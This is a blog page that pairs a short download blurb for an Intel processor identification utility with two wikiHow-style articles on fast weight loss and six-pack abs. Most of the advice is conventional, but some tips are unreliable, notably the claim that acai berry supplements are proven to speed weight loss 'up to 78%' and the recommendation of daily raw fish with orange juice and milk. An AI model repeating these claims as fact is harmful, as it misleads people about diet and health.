This utility gives perfect information about your CPU like: Speed, System Bus, L2 Cache memory. It also tells whether your processor supports Advanced Technologies like: Virtualization technology, Hyper-Threading Technology and Intel 64 Architecture.

The utility is a standalone program with no installer. Simply download the file and run it. It is consistently updated to support the latest Intel processors.

There are two versions of this utility: The “Windows” version and “Bootable” version.

Download Intel Processor Identification Utility (1.13 MB)

Sunday, October 18, 2009

HOW TO LOSE WEIGHT QUICKLY

Want to slim down fast for that beach vacation or high school reunion? While there are many things you can do to shed pounds, losing weight too quickly, like any sudden change to your body, can be dangerous. While fad diets, diet pills, and fasting may indeed induce rapid weight loss, these methods can cause you to lose muscle and may also injure your heart and other organs fairly quickly. The best solution? Don't go for an overnight miracle. Instead, follow these steps to lose fat rapidly, healthily, and sustainably.

Steps

  1. Determine your daily calorie intake . Losing weight is simply a matter of expending more calories than you take in, through exercise and your daily activities. To win the battle, it helps to know how many calories you are consuming in a day.
    • Write down all the things you eat on a typical day. Carry a small notebook with you and write down every snack, every drink, and the contents of every meal. There are also great websites that you can use to keep track of calories, get recipes, and help achieve your goal. Don't forget to include the pats of butter or the spoonful of sugar in your coffee. It's best to do this for at least a couple weekdays and a weekend; it's even better if you can go a full week. There are also calorie tracking websites that can help you to do this, for example the US government website, My Pyramid Tracker .
    • Do an itemized calorie count. When possible, write down the number of calories in each thing you eat as you eat it. Keep in mind that the recommended serving size is often considerably smaller than the serving you actually eat. Look up the calorie count on the internet for foods that don't have calories listed on the container or for fast food meals. You don't have to be 100% accurate, but you do want a good estimate of the number of calories you're taking in. There is an idea that multiplying your own weight by ten will produce a rough estimate of the number of calories you need to eat per day to maintain your weight. This is NOT true, you may wind up grossly under (or perhaps over) estimating the number of calories you should be eating. Use a scientific or health website to determine the number of calories you should eat a day or consult your doctor. Everyone has different metabolisms and there is no blanket rule that covers everyone's recommended calorie intake. Reducing 500 calories per day from the calories you eat to maintain your weight can help you lose a pound of fat per week.
  2. Go over the list and decide which foods to cut out or reduce. Cutting calories is usually a lot easier than you might think. For example, that daily tall latte in the morning may pack 500 calories. Since a pound of flab (lost or gained) is roughly equivalent to 3,500 calories, replacing that rich beverage with black coffee can help you lose a pound a week. Other easy cuts include salad dressing (salad dressing is the number one source of fat in the average American woman's diet) soda pop, candy, and butter. Look at the nutritional information for the foods you eat, pay special attention to your intake of saturated fats and empty calories (high-sugar foods). You don't need to cut these things out entirely, but if you reduce your intake of high-fat, high-calorie foods you'll lose weight faster.
  3. Seek out alternatives to the unhealthy foods you've identified. You can simply reduce the amount of soda you drink or mayonnaise you put on your sandwiches, or you can substitute healthier choices. Drink water instead of soda, for example, or use mustard instead of mayo. Low-fat and low-calorie options are also available for most foods, and many of these are natural, (although some are made with strange chemicals), and tasty. Start trying to eat healthy in most meals:
    • Choose lean meats. Chicken and fish are both very low in fat (and certain fish like salmon, sardines, and fresh tuna are an excellent source of antioxidants, which are also beneficial to your health), so aim to replace some or all of the beef or pork in your diet with these foods.
    • Replace high-calorie side dishes with healthier alternatives. Many people get a ton of calories from side dishes such as macaroni and cheese, French fries, or potato salad. You can eat healthier and lose weight by replacing these with fresh vegetables and salads. Pre-made salads are practically effortless, and when accompanied by a reduced-calorie dressing or no dressing at all, they're weight-loss gold.
    • Start your days off right. A fattening breakfast of bacon and eggs or a pastry can be replaced with yogurt, oatmeal, high-fiber, low-sugar cereals; or fresh fruit for fruit smoothies. However, for those on a low carb diet bacon and eggs are a great combo for breakfast, since neither have carbs. But don't fall into the trap of skipping breakfast. Eating a healthy breakfast increases your rest metabolic rate earlier in the day, and reduces snacking before lunch.
  4. Plan your meals. Look for healthy, delicious meals online or in your cookbooks, and create a menu for the week. Make sure that your meal plan reduces your total calorie intake: you're not going to lose weight if you consume the same amount of calories by eating different foods. Make a list of what you'll need for these meals, and -- except for a few snacks, of course -- don't stray from your list when you get to the market. Planning your meals helps ensure you get a balanced diet and reduces the temptation to stop off for fast food or order a pizza. Remember, it's easier to stick to your shopping list if you shop when you aren't hungry.
  5. Watch your portion sizes. Opening a bag of rice cakes and eating all of them in one sitting isn't going to help you lose weight. When eating chips, nuts, or dried fruit put a portion in a small bowl and then put the bag away. That way you won't mindlessly eat a larger portion than you had intended. Even if you only make minimal changes to your diet choices, reducing portion size will inevitably reduce caloric intake. A great way to watch portion sizes while snacking is to buy one serving 100 calorie packages - and they come in many favorite snack food items!
  6. Graze on healthy snacks. Just because you're getting healthy doesn't mean you can't snack. In fact, eating small meals and snacks throughout the day, or grazing, has been shown to aid weight loss, (compared to eating three large meals a day), by keeping metabolism steadier. Pick snacks that are low in calories and fat and high in fiber (dried apricots, nuts, rice cakes, fruits, baby carrots, cherry tomatoes, and so on). Vegetables are generally very low in calories, very high in fiber, and full of flavor and nutrition. Avoid starchy vegetables like potatoes, and try to eat vegetables plain, without fatty dressings or dips. Fruit also makes a good snack. Fruit contains more soluble fiber than vegetables, which slows your body's absorption of carbohydrates, thus releasing energy more slowly, (preventing sugar highs), and keeping you feeling full longer. Fruit juices are not a replacement for the real thing. You need that fiber, and juices often have more calories than the equivalent serving of fruit -- as many calories as soda! Be careful with dried fruits, because without the water, you tend to eat more, and fruits, when dried, are calorie-rich per ounce. With any dry or dried food, be sure to drink plenty of water.
  7. Get more fiber. There are many myths about fiber, but there is science to back up its helpful role in the diet. Fiber keeps the right amount of water in your intestines, making your digestive system work more efficiently and helping to keep you regular. Thus, just eating enough fiber may help you feel slimmer in just a day or so. There is also evidence that fiber in the diet can help prevent stroke and heart disease, ease the effects of diabetes, and may even directly help in weight loss.
  8. Drink plenty of water. Adequate water is essential for health, and a great many people simply don't get enough. What's more, if you're chronically dehydrated, your body will retain water in unflattering places, so if you make sure to get plenty of fluids you can start visibly trimming down in as little as a day. Remember, the more you exercise, the more water you'll need. See the related wikiHow for more details on how much water you should be getting.
  9. Exercise. Remember, you can lose weight either by decreasing your calorie intake or increasing the number of calories you burn. Any health strategy should include both, but if you want to lose weight fast, exercise is essential.
  10. Perform high-level aerobic activities. Moderate aerobic workouts incorporating jogging, brisk walking, cycling, aerobic machines, or classes not only burn calories -- they also keep your heart healthy. Swimming is also great, especially if you are quite overweight or have joint problems, because you can get the same benefits of running -- typically burning even more calories -- with much less stress on your joints. Try to get at least 30-40 minutes of aerobic exercise at least three or four days per week.
  11. Pump some iron. Resistance training, (weight training), can help both sexes stay lean by building muscle and raising metabolism. The fact is, hours and hours of aerobic exercise won't help most people lose weight fast because your metabolism drops back to normal fairly quickly after stopping the exercise. If you gain muscle, however, your body's resting metabolism, (the amount of calories you burn when you're just sitting still), increases, because muscle requires a lot of calories to maintain. Studies have shown consistent weight training to raise the body's metabolism by 15%. This means an average woman might burn 200-300 more calories at rest every day! Resistance training is the gift that keeps on giving! Although, keep in mind that muscle mass weighs more than fat (don't be surprised if you gain weight but look slimmer).
  12. Rest properly. This means not only taking at least 24-48 hours between strength training the same muscles, (and taking 1-2 days off from exercising each week); it also means getting enough sleep at night, since sleep deficiency impairs your ability to lose fat.
  13. Be realistic. Don't expect a miracle. Healthy weight loss can be achieved fairly quickly, but you'll need to be patient. In addition, be sure to set realistic goals. Make sure that the weight you're trying to reach is a healthy weight for you, and keeping in mind that gaining pounds of muscle will help you lose fat, be trimmer, and look better even though you don't actually lose any weight. Your goal should be a healthy body, not a number of pounds! Everyone looks good at a different weight. A short person may look really good at about 112 pounds, but a person of a taller height would just look unhealthy. Keep yourself at a weight that makes you look good, not at a number that sounds good.
  14. Make adjustments. A successful weight loss strategy based on reducing calorie intake and increasing activity can be adjusted to maintain your desired weight once you reach it. Unlike typical diets, this method is sustainable -- it is a lifestyle change, not a binge-and-purge exercise. Slowly adjust your diet and exercise to include more weight training and calories, as much as is comfortable for you. If you do gain any weight back, you want that weight to be lean, toned muscle, not fat. In addition, weight training, no matter what your age, prevents muscle atrophy and can help stave off osteoporosis.
    • Instead of thinking of it as losing a certain amount of pounds, think of it as being a certain weight. So if you are 145 pounds, and you would like to lose 10 pounds, think of it as being 135 pounds. This helps you think about it as a long-term goal and not just losing the weight to gain it back again.
  15. Be confident. You need to believe in yourself! If you want to diet, and you know that it will make you feel better, then you need confidence. Otherwise, the temptation to cheat on your diet will make it harder, and you will not feel better when you do lose weight. Avoid temptations like chocolate, ice cream, and cookies. They may taste good, but there are other foods that taste delicious, too, without being unhealthy. You need to always encourage yourself to achieve the goals that you have set. Learn to evaluate your efforts fairly and objectively. If you fail to achieve your target for the week, find out why is it so. Is it because you have missed a jogging session? Or you have been eating junk food for one of the days? After evaluating, look ahead to next week and try your best to stick to your plan.
  16. Be consistent and disciplined, and have self motivation. To lose weight effectively, you need to stick to your weight loss plan religiously so as to see results. When you have the thought of giving up, visualize how good you will look when you manage to slim down successfully.

Tips

  • Determine your objectives to lose weight. To succeed in doing something, you need to have a very compelling objective or reason so that you will not lose track of your goal. Losing weight just for vanity's sake is usually less helpful than losing weight to improve health. Other than just exercising, you need to have a healthy diet so that you will have a better body and more energy to be positive throughout the day.
  • It's very good to do a blood test before you begin your new diet and exercise regimen. Some people may not need to lose a lot of weight, but they may need to lower the blood sugar level slightly. You can also check for mineral deficiencies.
  • The goal is to lose fat, not just weight in general. If you are doing strength training during your weight loss (which you should be), you might actually see an initial gain in weight -- don't worry! You have probably lost fat and gained muscle, which is denser than fat and is much healthier.
    • A better measurement than what a scale reads is body fat percent. If you don't have access to calipers or a body fat scale, a better gauge is how your clothes fit and how you look rather than your absolute weight. If you can, though, it is good to measure your body fat about once per month. Men should be between 15%-25%, but no lower than 4%; and women 20%-30%, but no lower than 15%. Females have higher fat percentage due to pregnancy and menstrual requirements.
    • Generally, you want to - with a combination of calorie reduction and increased activity - reduce and burn a certain number of calories a day, causing a net loss of calories so your body is forced to use its own stores of fat. How much aerobic exercise you need to perform depends on what you eat, how fast you'd like to lose weight, and how much muscle you gain. A pound of fat contains 3500 calories. Men can safely lose around two pounds a week, and women can safely lose around one pound a week. Any more than this and you might be losing more muscle mass than fat. Thus, with a combination of calorie restriction and aerobic exercise, a man should aim to run a 3500-7000 calorie deficit each week, and women should aim for a 1750-3500 calorie deficit.
  • With regard to weights, men and women differ on their goals with weight training. Women, don't worry, no amount of weight training will make you as bulky as a man; women just don't have enough testosterone to build large muscles. The female body-builders you see are either taking steroids or training 2-3 hours every day. Male and female beginners should start with 3 sets of 8-12 repetitions, and should use the heaviest weight you can while still maintaining good form, even to the last repetition of the last set. Get a weight training book or find a reputable website that will show you different exercises and the correct form. When lifting properly, you will stretch the muscle during the exercise, but you should still stretch properly to prevent injury!
  • No matter what the magazine article says, spot improving is a myth! When your body burns fat, it takes it from all over your body, even if all you do are crunches. No amount of crunches will get rid of that gut if they are not backed up by proper aerobic exercise and diet! Washboard abs do not come from millions of sit ups; they come from having low levels of body fat. So if that is your goal, make sure you do plenty of aerobic exercise in addition to your ab routine.
  • Sugar comes in many disguises. Check your food labels: fructose, glucose, molasses, and corn syrup are all sugars. Limit all sugars, but especially stay away from high-fructose corn syrup. It is just a corn syrup full of sugar. Choosing foods without it will help you reach your weight loss goals faster.
  • Remember your body needs 'fuel' just like a car needs 'fuel'. Your body needs the 'right' kinds of food to lose weight effectively.
  • Don't taunt yourself by not letting yourself eat the occasional snack that you're craving. Just make sure you burn it off later with exercise
  • Despite popular belief it is not terrible to eat after 6 p.m. A reasonable dinner (with extra protein if you've had a good weight training session) is going to help deliver nutrients to the body to prepare it for the next day. Additionally if you find yourself very hungry before bed, a small bowl of high fiber cereal and low fat milk will actually help maintain your metabolism while you sleep. The key is to not overeat in the evenings.
  • Take a multivitamin. While it is better to always get your nutrients from your food, most people miss something in their diet, especially when they're trying to cut calories. Vitamins and minerals play an important role in keeping your body chemistry balanced and your energy levels healthy.
  • If you find yourself missing some of your favorite foods, don't worry. There is no harm in having your treat once a week. Pick a day each week where you treat yourself to your guilty pleasure--remember, everything in moderation. If it's pizza, try going to a gourmet pizza place that will use better ingredients and fresher vegetables. If it's a Big Mac, try making your own. A homemade burger is generally much healthier than the food they serve in fast food restaurants. Electric grills that are slanted to allow most of the fat to slide off make nice, lean burgers.
  • Save some calories for potassium and protein for after you work out, this will help reduce soreness. (A banana and an egg does the trick.)
  • Do not forget to stretch. Stretching can help increase your strength and flexibility.
  • Cut down on your sodium. Many prepared foods have as much as 30% of your daily value. You get your daily requirement of sodium from a healthy diet; too much can cause you to retain water weight.
  • Try not to skip any meals as this only makes your body to retain fats for energy. A good weight loss plan is to eat healthily and exercise regularly.
  • To continue to lose weight fast - eat a variety of foods. Just like in weight training, the body will get used to the same routine and plateau. Mix up the foods you eat to keep your metabolism high and prevent a metabolism plateau.
  • Also consider taking supplements like the Acai Berry. These are natural berry juices proven to speed up the weight-loss process with up to 78%.
  • Your breathing can also help increase your metabolic rate, and in turn enable you to burn calories more efficiently

Warnings

  • Do not try to starve yourself. In the short run, reducing your calorie intake to unhealthily low levels will slow metabolism and actually cause you to lose weight more slowly. Then your body cannot process potassium so when you DO eat again, (the alternative to dying,) you will gain much more weight than you would if you weren't starving yourself and overall, you may end up gaining more than you lost. In the long run, starving yourself (anorexia or bulimia) can kill you.
  • When creating a weight lifting routine, do not focus on a single muscle or group, doing so will overbuild that muscle while under building others - in other words, if you work your biceps, and not your triceps, your arms will begin to curl inward and you will look silly. If you work your chest and not your back, you will have a hard time maintaining good posture as your pectoral muscles overpower your back muscles and pull your shoulders forward.
  • If you have a serious medical condition (such as asthma or diabetes, or allergy to protein such as dairy products or you have lactose intolerance) or you are severely obese, consult with your doctor as well as a dietitian.
  • Do not take any harmful drugs. They are unhealthy and may ultimately make you gain weight instead.
  • Carefully consider whether you need dietary supplements. Most people may get the basic minerals and nutrients they need to sustain life through eating food. For example, excessive multivitamin supplements can make you overdose in some vitamins you need, and you can't store most water-soluble vitamins like vitamin C as any excess will be urinated. Although you could be below the recommended daily intake, that doesn't necessarily mean you are deficient in it if it's a kind that is stored. So you may wish to consult with your doctor or dietitian to inquire whether you need supplements and how much you should take.
  • Losing weight too quickly is dangerous and can have adverse effects on your health. Despite the title of this article, getting into shape is best done slowly. If you find yourself losing more than a pound or 2 (or more than 500g) each week, you are probably doing something wrong.

HOW TO GET SIX PACK ABS

To get six pack abs you need to do two things: Build muscle and lose fat. Details on ways to accomplish each of these goals follows:

Build Muscle
  1.  

    Do Crunches. Lie on the floor (with or without a mat) and cross your arms in front of your chest. Bend your knees up as far as they go. Do not place both hands behind your head. Placing both hands behind your head can cause lower back problems in the long run as it places unnecessary stress on that part of your body from pulling on your head and neck. Another alternative is to cross your arms in front of your chest and lightly place your finger tips behind your ears, without pulling on your neck. Now raise your shoulders (upper torso) towards your knees, using strictly your abdominal muscles. It is very important not to lift your entire back off the floor, as this can cause back strain, and the extended movement does not help you develop six pack abs any faster. The most important part of the crunch is the initial flexing of your abs as you lift your shoulders off of the floor. As soon as you begin lifting off the floor exhale through your mouth, ending with a gasp once your shoulders are off the floor. Then pause for a second once you are at the top of the crunch and exhale the last bit of air from your diaphragm while flexing your abs. The proper breathing and flexing make all the difference. Now lower back down slowly and controlled while inhaling through your nose, just until your shoulder blades touch the ground. Do not let your head touch the ground and repeat.

  2. Do Sit Ups. Lie on the floor, feet on the floor, knees up and fingers placed behind your ears or hands crossed on your chest. Sit all the way up, lifting your lower back off the floor along with your shoulder blades.Lower yourself down. Repeat. Once this becomes relatively easy for you (i.e. you can do a quite a bit with ease) start adding more challenges. Find an incline bench or do these with an exercise ball. Once you "graduate" from that, do weighted sit ups. Hold a weight on your chest while you do these. As these become easier, hold heavier and heavier weights.

  3. Do leg lifts. Lift your feet off the ground while doing the sit ups by alternating each leg in the air. Bicycling, pretending to pedal while sitting up. Alternating knee touches. If your hands are behind your head, bring your left knee up to touch your right elbow and then your right knee to the left elbow.
  4. Do Leg Lifts. Lie on the floor, legs straight out, hands at your sides. Lift your legs straight up (not bending your knees at all) until they're at a 90 degree angle (or close). Lower your legs and repeat without letting your legs touch the floor. For more challenge there is equipment at most gyms that will allow you to raise yourself up using your arms as support and dangle your legs. You can perform leg lifts there too. If you're using this piece of equipment, you can make it easier by just raising your knees to your chest. It's more difficult to raise your legs to a horizontal position with your legs straight. This helps firm up the lower abdomen. If you're truly a monster, try doing leg lifts with a medicine ball hanging from your feet. Or hang from a pull up bar and raise your legs in front of you all the way up to the bar.

  5. Do Jackknife Sit Ups. Lie down flat on the floor. Place your hands on the ground to your sides for balance; you can pick them up as you get used to the movement. Simultaneously raise your knees and torso so that your knees and face meet on an imaginary line extending from your pelvis to the ceiling. You should be able to kiss your knees at the top of the motion. Your legs will naturally fold bringing your feet towards your hips, much like a jackknife. Lie back down (i.e. "spread out") and repeat. Place a weight between your feet when you think you can handle it.

  6. Do V-ups. Lie on the floor, legs straight out, hands on the floor but this time extended out over your head. Simultaneously raise legs and torso. Don't bend your knees! What kind of V would it be if you bend your knees? Reach with your hands toward the raised feet. Touch your feet if possible (will require some flexibility). Relax, return to starting position and repeat. Add weight between feet to match your taste.
  7. Static Hold and Side Statics. Put your body into the push-up position but with your elbows on the floor, and your whole body flat. This position is known as the static hold position and it trains your core (including your abs) to hold the body in place which is the real purpose of your abs. Hold this position for as long as possible. Beginners should be aiming to start off with at least 45 seconds, while seasoned ab workers are known to achieve over 5 minute static holds. To perform the side static hold, roll onto one side of your body and lift into the same position as before, but this time only one arm will be on the ground with the other arm pointed straight up the air and your non weight bearing leg resting on your bottom leg. Once again, hold this for as long as possible.

  8. Train Your Oblique Muscles. It's not as important to work on your oblique muscles at first, but eventually you'll want to start working these too. These are the muscles to either side of your stomach. There are multiple ways to do this and anything that includes twisting your torso against a resistance counts. There are twisting machines at gyms, you can twist while you do sit-ups, you can do side bends, you can twist side to side with a medicine ball in hand, etc. Be aware though, that many beginners tend to have weak obliques compared to their abs (it simply isn't used as much in daily life) so go easy on the sides at first.

  9. Now that you've made up your mind about a washboard mid-section, be Creative! Find new ways to crunch, bend and twist in your daily life. Some possibilities include:
    • Use a stability ball. Do your crunches on the ball to introduce instability to your workout, which will improve your balance too. There are also lots of core exercises that can be done with a stability ball.You can also use a small bubble used for physical therapy.

    • Duck and twist during your daily routine. Reach with your left hand to things on your right and vice versa. If you feel like turning around to face something, see if you can do it with keeping your hips in place and twisting at the waist (warning: awkward when talking to other people, use only against inanimate objects). While walking or standing, pretend that something is coming toward you and you have to duck to get out of the way. Do this as often as you are comfortable or at times when it won't look weird. You can bend forward from the hips or, if you're really into it, bend at the knees too and really "sink" out of the way. Caution: If you have lower back problems, you could injure yourself.
    • Incorporate Sprints into your regular workout routine. Any higher-impact running works the abs, but intense sprinting derives power specifically from the lower abs.
  10. Do the Scientific Best Abs Exercise Researchers at the San Diego State University, found that there are certain abs exercises that triggers most muscular activity. The winner was the "bicycle maneuver":
    • Lie on the floor; make sure your lower back is pressed on the ground.
    • Take your hands behind your ears. Then bring up your knees at a 45 degree angle.
    • Start doing a bicycle pedaling motion. Touch your elbow with the opposite knee (right elbow with left knee and so on, alternating)
    • Breathe in a relaxed and even manner throughout the exercise.

Lose Fat
  1. Lift Weights. The more muscle your body has, the more calories your body burns, even at rest. Many people are afraid of getting huge due to weight lifting but the fact is you won't! Many huge body-builders out there have been body-building for years to get huge. Since you want your abs to show, you should be eating fewer calories than you burn, and your body can't build a large amount of muscle without excess calories, so you shouldn't have to worry about this potential problem at all. If you just do cardiovascular exercises (running, playing basketball, football, etc.) without lifting weights then you will lose the muscle mass, you will also feel weak and it will take longer to lose that fat. So, to get rid of that fat quickly lift weights combined with cardiovascular exercises. Running, biking, swimming, stair climbing, jumping rope, tennis, volleyball, dancing, squash or any other activity that gets you moving and keeps you moving is a great way to burn fat. However, a cardiovascular workout should be performed for at least 20 to 30 minutes to burn fat. Prior to this your body will simply run on its stored energy, which results in minimal fat loss. Cardiovascular training should always be done after your weight lifting workout. While lifting weights, you use stored, (carbohydrate) energy, thus, by performing cardiovascular exercises after weight training your body will have less stored energy to use and go straight into the fat storage for its energy use. Some think the best way to shed fat fast is to do cardiovascular exercises right when you wake up. The theory is that your body will search for energy to use, and when it finds nothing in your stomach, it will go directly to your fat reserves for energy. Others say that the first thing you should do in the morning is eat, to get your metabolism going earlier.

  2. Keep Metabolism Steady. Eating one small meal every three hours that you are awake will not speed up your metabolism, rather, it will keep it going. Your metabolism goes and slows with your food intake and eating something small every three hours will keep that metabolism burning calories and will help you lose weight. Every meal should include lean protein, so that your body won't need to break down your muscles for fuel, which would shrink your abs as well as slow down your metabolism.
  3. Eat Smaller Dinners. Cut down on the size of your dinner. If you're hungry, snack on fruits or other healthy, low calorie snacks. Large dinners tend to hurt a fat loss process because most people aren't very active after dinner. This is the basis for advice along the lines of "don't eat anything within N hours before going to bed". The claim that your entire dinner is stored as fat isn't entirely true (the process is more complicated than that) but the fact you don't move after dinner is enough to hurt your cause. You can offset this by eating a larger lunch or snacking healthily before dinner. Fresh fruits or vegetables are excellent choices for curbing appetite not to mention other health benefits. A handful of nuts might do the same. Drink a large glass of water before sitting at the table.
  4. Eat More Fiber. Most people don't get enough fiber. The recommended amount is actually not that much if you eat a healthy diet. "Fiber foods" include whole grains, fruits and vegetables, and nuts and seeds. Other options are fiber supplements.
  5. Eat Breakfast. Many people skip breakfast because they don't have time for it. Keep this in mind: You don't have time to skip breakfast, it's simply too valuable to skip. The fact that skipping breakfast messes up your concentration and other mental functions is beyond the scope of this article. The harm of skipping breakfast from a weight loss perspective is it makes you eat a huge lunch since your body hasn't had anything in the past 12 (or more) hours. When you eat a huge lunch you get that after meal drowsiness so now you're both unproductive and inactive. Cereals don't take much time to prepare and consume, and most of them are very healthy nowadays. If you are extremely pressed for time, consider grabbing a box of breakfast bars or a smoothie and throwing one in your bag when you leave for work or school. Some breakfast bars out there are also excellent sources of fiber.
  6. Drink More Water Every Day. Many places suggest 8 cups (2L) of water a day. It also depends on your weight (1L/20kg would be good, more if it's hot or you're ill). It sounds like an absurd amount of water, but actually, you can drink tea without sugar to make up some of the quota. In fact tea, especially green tea, will rev up your "metabolism" (actually cause a temporary increase in calories burned).
    For fat loss purposes, it is important to remind yourself that thirst is a much weaker stimulus than hunger. If you consistently feel hungry after meals, don't immediately think that you need to eat more. You may simply be thirsty!
    Needless to say there are many benefits of water. The human body is anywhere from 55% to 78% water depending on body size.

  7. Avoid "white" foods (white rice, white flour, refined sugar) - these are all starchy foods which are metabolized readily into fat.
  8. Don't drink milk or eat food immediately before exercise. After eating large quantities of food, do not immediately start doing sit ups, as this may cause you to become sick.
  9. Eat special muscle building foods. Try eating raw fish and drinking orange juice with a bit of milk, it might not have the best taste but it really helps in the long run. You should try to eat and drink them both at least once a day.

[edit] Tips

If you are not toned then you need to lose fat then tone your muscle, so it will take some time.

  • Motivation is the key. Regardless of aim, having the right attitude towards your motivation is important. If your motivation source is purely the result, you will likely not last very long. It's important to enjoy the exercise, the immediate and long term benefits and to incorporate enjoyable activities into your exercise routine. And * It may help to use a record-keeper or plan book for your exercise program. Exercise journals are fantastic for this purpose because as you enter daily information in the journal, you're putting together a complete record that can be referred back to in the future.
  • If you feel you need to, ease into the changes in your lifestyle. Start eating breakfast. If you have difficulty with this, start with a couple glasses of water or a large cup of coffee right when you wake up. It'll go down easy and prepare your stomach to get back to work. Cut the amount of dinners little by little. For the exercises, start slow and increase pace and/or repetitions as you are comfortable. Attempting lifestyle changes in a drastic, sudden manner can backfire. Do what you can but don't sell yourself short.
  • Make a photo diary of your body but don't take pictures too often (once a month is fine). Don't study your pictures intensely since you might not get motivated if you don't see a difference. If you are consistent in your diet and exercise, you should see changes monthly. Keep in mind that you won't see changes in the mirror everyday since they will be very small improvements.
  • Unless you are watching your weight for another reason, ignore the reading on the scale. You may be decreasing your body fat but your weight may stay the same (or even increase) as you build muscle. Muscle tissue is denser than fat so it will be heavier than the same volume of fat. Water weight can also vary your readings by a surprisingly large amount.
  • Try to keep a steady eating routine. It will throw your body off if you skip a meal and starve yourself only to stuff your face later. Avoid such situations as much as possible.
  • For added variety you may look into using a swiss ball and/or a medicine ball during your ab workout. Doing crunches on the swiss ball will improve your balance, or you may use it to get a little more flexion in your abs. The medicine ball has many different uses, the simplest one being added weight.
  • If you are already skinny, but simply don't have the abdominal muscle that you want, passively exercising while doing other things can help a great deal. If you spend a long time in a sitting position, try continuously clenching your stomach. Get in the habit of doing this for hours at a time and you may be surprised at its effectiveness.
  • Have 1 or 2 cups of black coffee up to 1 hour before your workout as it will boost metabolism and burn fat throughout your workout, just remember to stay hydrated while working out be drinking plenty of water.
  • Try to make an effort to make your abs strong while you are young because the abs are one of the last muscles to atrophy, so you may not have to worry about them when you are older if you do a good job while you are young.
  • Try some stress relieving activities, such as yoga or meditation. Built up stress causes an increase in your weight.
  • You should make working out a priority like keeping a job, you don't want to miss and not get paid.
  • 500 calories' is the calorie deficit a day needed to lose a pound of fat per week. This may be from eating less or hitting the gym.
  • Since it is, literally, the center of your body, there are many other tricks you can use to train your abs, and many other movements will more or less involve your abs. Including every abdominal exercise in existence would make this article painfully long and new methods are being developed constantly.

[edit] Warnings

  • As with any exercise program, consult your doctor before making major changes in your workout routine if you have medical problems. Increase loads slowly. Being eager is great but setting unrealistic goals isn't going to help you in the long run.
  • Most, if not all of these exercises are not recommended for people with lower back problems. There are many other ways to properly develop six pack abs without putting so much strain on your back. If in doubt or experiencing lower back pain, talk to a physical therapist for proper ways of performing the routines.
  • Don't neglect warm-ups or you may find yourself pulling muscles and long-term pain when you start doing this method!
  • This exercise regimen will only work for a select few individuals. For some people, this exercise advice will actually provide the opposite desired effects. For example, for people who have a few extra pounds around the belly and start this from scratch. They are actually more likely to look larger in the belly for a period of time since they are putting on muscle beneath their fat at first. You may want to begin for a significant period of time by doing more cardiovascular exercises to lose fat all over the body. Doing specific muscle exercises, unfortunately, does not remove fat from that specific area of the body. Additionally, focusing solely on the abs can produce an imbalance in the body and may cause back problems where there were none before or exacerbate any existing problems.
  • Don't starve yourself. If you go hungry for an extended period of time your metabolism will slow down. The body, thinking that no food is available tries to make the best of what it has and goes into power-saving mode. Whilst on 'power-saving' mode, the body will supplement its carbohydrates (being burnt for energy) with the proteins in your muscles. What this means is that you are in fact eating back into that six pack just to try and make it show through.
  • Fiber also acts like a mild laxative. Be careful if you eat a lot of fiber. It can also cause some gas if you're not used to taking in so much fiber. If you increase your fiber dosage by a lot, increase your water intake too. Excessive fiber with little water can result in digestive problems.
  • Habitual snacking on unhealthy foods is often done almost unconsciously. Many people do this and don't realize how many calories they take in. They insist they eat very little (which is true during their major meals), but they don't realize that their snacking is making them gain weight or stopping them from losing weight. Avoid buying high sugar snacks and instead buy healthy, low calorie snacks. A way to prevent unhealthy snacking is to write down everything you eat in a day. As you watch the list grow you will be inclined to put that donut down.
  • Be wary of ab machines that you may see on TV. Many of these are in fact rip offs and you are more likely to stay motivated if you incorporate an ABS workout into a regular gym session(you are less likely to get sick of it). You can get a great ab workout just by using the floor. Remember that it's not the exercise that will give you the six pack. It's the combination of strength exercises and fat loss. Playing more athletic sports, weight lifting, and cardiovascular exercises are a million times more effective for fat loss than using an exercise machine. If you feel you need to use those machines, a gym membership will likely suit you much better.
  • Supplements can be useful, but they are just what they advertise themselves to be; supplements. There is no magic pill to make you lose weight with no work. There are some supplements out there that can help you lose weight by increasing your metabolism or by helping you curb your appetite, but you still have to work. Most tend to be "snake oil" and will not really give you any results while costing you great deals of money. And remember, even if they DO help, all supplements still require the consumer to watch their diet and increase their exercise. A simple multivitamin or mineral pill is likely all that most people will need.
  • Sit ups can be bad for your back and neck. They have caused many lower back problems and are not recommended by most doctors. More and more K-12 schools are phasing sit ups out and switching to crunches. A good alternative to sit ups is to lay on your back, lift your feet in the air as high as you can reach them, and lift your butt off the floor instead. The best results come when you do them slow and tighten your abs (and even butt). When you lower your legs do not let your butt touch the ground completely, then repeat. This exercise conditions, tightens, and hardens all the same muscles as a sit up when used with crunches as well.
  • Opinions on weight loss and muscle training routines are like noses - everyone has one but they're all different. In the end, you should find something you enjoy and that you will stick for life. Over time, you can modify it until you get the results that are right for you.
  • One way to look at exercising and working out is to pretend that you are putting money in the bank.
  • Be sure to work out every other day. When exercising you actually break down the muscle and if you give then the proper time to heal (and eat the proper foods) they will grow back stronger than before. Also important not to exercise the same muscles every other day, change from one muscle to another.
  • Drinking too much water (several liters, especially while sweating) can dangerously dilute certain salts and minerals. If you are exercising heavily and sweating a lot, you will need to replace your salts as well as fluids. Supplement your water drinking with a sports drink or potassium rich fruits such as bananas and apples.
  • Just as all women won't have the dream model's hourglass figure, all men won't get the dream chiseled abs. It's a genetic fact that for some men there will always be just a little more fat over the muscle layers than he'd like. That's the way nature is and forcing your body to lose more than that can be a very dangerous effort.